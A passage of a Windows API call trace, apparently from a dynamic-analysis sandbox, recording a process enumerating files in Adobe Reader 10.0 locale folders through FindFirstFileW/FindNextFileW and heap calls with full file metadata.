ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 0 [0221.642] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0221.644] GetProcessHeap () returned 0x550000 [0221.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.644] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0221.644] GetProcessHeap () returned 0x550000 [0221.644] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0221.794] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.794] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.NOR", cAlternateFileName="ADOBEC~1.NOR")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NOR", cAlternateFileName="BRDLAN~1.NOR")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NOR", cAlternateFileName="")) returned 1 [0221.795] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NOR", cAlternateFileName="MAKEAC~1.NOR")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NOR", cAlternateFileName="MULTIM~1.NOR")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fc08920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NOR", cAlternateFileName="READOU~1.NOR")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NOR", cAlternateFileName="SAVEAS~1.NOR")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NOR", cAlternateFileName="")) returned 1 [0221.796] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.797] GetProcessHeap () returned 0x550000 [0221.797] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0221.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0221.798] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.798] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.798] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.798] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.798] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0221.798] GetProcessHeap () returned 0x550000 [0221.798] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0221.799] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0221.799] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NOR", cAlternateFileName="")) returned 1 [0221.799] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 1 [0221.799] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NOR", cAlternateFileName="")) returned 0 [0221.799] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0221.799] GetProcessHeap () returned 0x550000 [0221.799] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.799] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0221.799] GetProcessHeap () returned 0x550000 [0221.799] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NLD", cAlternateFileName="")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.NLD", cAlternateFileName="ADOBEC~1.NLD")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NLD", cAlternateFileName="")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NLD", cAlternateFileName="BRDLAN~1.NLD")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NLD", cAlternateFileName="")) returned 1 [0221.852] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, 